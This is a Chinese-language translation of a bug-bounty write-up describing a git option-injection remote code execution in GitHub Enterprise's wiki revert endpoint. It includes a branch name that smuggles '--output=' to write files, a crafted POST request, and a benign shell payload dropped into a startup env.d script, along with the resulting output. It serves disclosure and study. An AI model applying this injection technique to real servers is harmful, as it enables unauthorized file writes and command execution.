GitHub RCE——git option注入

 

我盯上github已经有一段时间了,所以我认为我应该看看企业版(GITHUB ENTERPRISE,以下简称GHE)有没有什么可以利用的。 企业版的代码被混淆了, 但这只是为了防止客户捣乱,事实上如果你搜索一番就直到还是有许多脚本可以解码,这样的话,就只有railsapp的ruby代码了。

我上一次提交给github的bug是一年前,也是注入git option,具体就是分支的名字加上短横线-, 这允许攻击者截断服务器的文件,所以我决定找找看这次有没有什么好地方还能发现类似的bug。

 

发现

我开始搜索能调用git进程的各个位置,然后看看参数是否是用户可控还要返回的东西有没有什么特殊的东西。大多数地方都在用户可控的地方加上了--,这样使得参数不会被解析,还会检查一下sha1的有效和提交的value是不是不以-开头。

不一会我看到了个方法reverse_diff,他会比较两个commit,然后运行git diff-tree带着这两个commit作为参数,并且只是检查了是不是确实有两个存在的repo(sha,branch,tag等等)。再细看,这个函数被一个叫revert_range的方法调用,此方法在还原两个wiki的commit时候使用,所以我POST user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a 调用之后会继续调用reverses_diff,带着两个参数,分别是57f931f8839c99500c17a148c6aae0ee69ded0041967827bcd890246b746a5387340356d0ac7710a.

这非常棒! 我checkout一个repo,命令: git push origin master:--help, 然后试着提交post请求到 user/repo/wiki/Home/_revert/HEAD/--help. 但是没成功,返回了一个 422 Unprocessable Entity 的提示. 看了一下日志,意思是CSRF token不合法。跟着post的路径去看看ruby脚本里面怎么创建token的。参数没被检查,但是这个路由只允许以commit作为参数。

revert(还原)操作的表单的token是用wiki比较模板创建的,不幸的是,还有更严格的验证,需要commit的sha哈希值也有效。这意味着我不能给–help这个分支成功生成表单和token,只能给commit的sha了。

深入挖掘 valid_authenticity_token 这个脚本的代码?? 另一种方法应该是通过使用全局token来bypass表单的csrf,因为有一个代码表示可以在转换时使现有表单向后兼容。

def valid_authenticity_token?(session, encoded_masked_token) # :doc:
    if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
        return false
    end

    begin
        masked_token = Base64.strict_decode64(encoded_masked_token)
    rescue ArgumentError # encoded_masked_token is invalid Base64
        return false
    end

    # See if it's actually a masked token or not. In order to
    # deploy this code, we should be able to handle any unmasked
    # tokens that we've issued without error.

    if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
        # This is actually an unmasked token. This is expected if
        # you have just upgraded to masked tokens, but should stop
        # happening shortly after installing this gem.
        compare_with_real_token masked_token, session

    elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
        csrf_token = unmask_token(masked_token)

        compare_with_real_token(csrf_token, session) ||
        valid_per_form_csrf_token?(csrf_token, session)
    else
        false # Token is malformed.
    end
end

全局的CSRF token经常通过客户端的 csrf_meta_tags 发给用户, 但Github确实封锁了所有东西,经过很长时间的搜寻之后我确实找不到地方可以泄露它。

我花了大量时间来搜索bypass的方法,当我使用类似wiki/Home/_revert/HEAD/--help的路径,ruby生成的token在表单那里不起作用。尽管经过对GHE和代码大量深入的搜寻挖掘,我手里还是没有解决方法。我就找到了几个被存起来的html页面,上面表示token不再使用了,github会将token存在数据库中,所以我决定继续从上面那个地方获取它,然后在研究怎么找它。

 

利用

我在我的GHE服务器上安装execsnoop(从perf-tools中)来看看到底git在revert的时候命令执行了什么,我看到它执行了类似 git diff-tree -p -R commit1 commit2 -- Home.md这样的命令,diff-tree的git命令还有一个–output的玄学允许用户把执行结果保存到文件而不是输出结果,所以用HEAD 作为第一个commit,--output=/tmp/ggg作为第二个参数,会把比较的结果写到/tmp/ggg文件里面。

所以我提交了一个新分支,叫 --output=/tmp/ggg 到wiki的repo中,然后postuser/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg ,带上我从数据库里面抓到的authenticity_token 然后就在服务器的文件/tmp/ggg看到了diff的输出。

9ea5ef1f10e9ff1974055d3e4a60bec143822f9d
diff --git b/Home.md a/Home.md
index c3a38e1..85402bc 100644
--- b/Home.md
+++ a/Home.md
@@ -1,4 +1,3 @@
 Welcome to the public wiki!

-3
+2

下一步就是研究如何利用它.文件能够写到git用户有权限的任何地方,文件内容的尾部是可以被控制的。经过大量搜索之后,我发现几个env.d目录可写,例如/data/github/shared/env.d, 这里面包含了一些安装的脚本,这个目录里面的在服务启动的时候被执行,

  for i in $envdir/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done

新的脚本 . script.sh 无需确认每一行都执行,当遇到错误的时候,bash会继续执行, 这意味着如果脚本里面有bash可以执行的命令,我们就可以执行它!!

所以现在梳理一下我们这个bug需要的东西.

  1. 从数据库抓一个用户的CSRFtoken
  2. 创建一个wiki页面,里面写 ; echo vakzz was here > /tmp/ggg
  3. 编辑这个新 的页面,然后随便写点,例如 #anything
  4. 克隆一下这个repo
  5. 新建个分支,名字带上: git push origin master:--output=/data/failbotd/shared/env.d/00-run.sh
  6. 用burp或者curl post:
     user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh
    

    用上从数据库里面拿到的authenticity_token

     POST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1
     Content-Type: application/x-www-form-urlencoded
     Cookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
     Content-Length: 65
    
     authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d
    
  7. 检查一下是不是文件已经被创建了,
     $ cat /data/failbotd/shared/env.d/00-run.sh
     69eb12b5e9969ec73a9e01a67555c089bcf0fc36
     diff --git b/Home.md a/Home.md
     index 4a7b77c..ce38b05 100644
     --- b/Home.md
     +++ a/Home.md
     @@ -1,2 +1 @@
     -; echo vakzz was here > /tmp/ggg`
     -# anything
     \ No newline at end of file
     +; echo vakzz was here > /tmp/ggg`
     \ No newline at end of file
    
  8. 运行一下看看我们diff的命令是否被执行
     ./production.sh
     ./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not found
     diff: unrecognized option '--git'
     diff: Try 'diff --help' for more information.
     ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found
     ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found
     ./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found
     ./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found
     ./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found
     ./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found
     ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
     ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found
     ./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
     $ cat /tmp/ggg
     vakzz was here
    

到了这一步我就打算要上报给github了, 尽管我还不能bypass CSRF token. 潜在的问题仍然相当严重,而且GitHub有可能在将来发布一个补丁,意外泄露了全局令牌,或者更改了接受查询参数的路由path,这将使它们容易受到攻击。

不到15分钟,GitHub就对这个bug进行了测试,并让我知道他们正在调查它。几个小时后,他们再次回应,确认了潜在的问题,他们无法找到绕过每份表单token的方法,并提到,这是一个严重的问题,他们可能只是幸运地设置了CSRF。我发送了一份关于我试图绕过的方法的摘要,以及可能泄漏它的潜在点,并确认我认为它不太可能被利用。

所以这个bug本身很关键,但是如果没有它的可利用性,我真的不知道GitHub在决定悬赏时是如何通过的,甚至根本不知道会不会有悬赏。最后我感到非常开心。

 

漏洞时间线

  • July 25, 2020 01:48:02 AEST – bug提交
  • July 25, 2020 02:05:21 AEST – bug被github定位
  • July 25, 2020 09:18:28 AEST – 问题确认
  • August 11, 2020 – Bug修复
  • September 11, 2020 02:52:15 AEST – $20,000的赏金发放。
(完)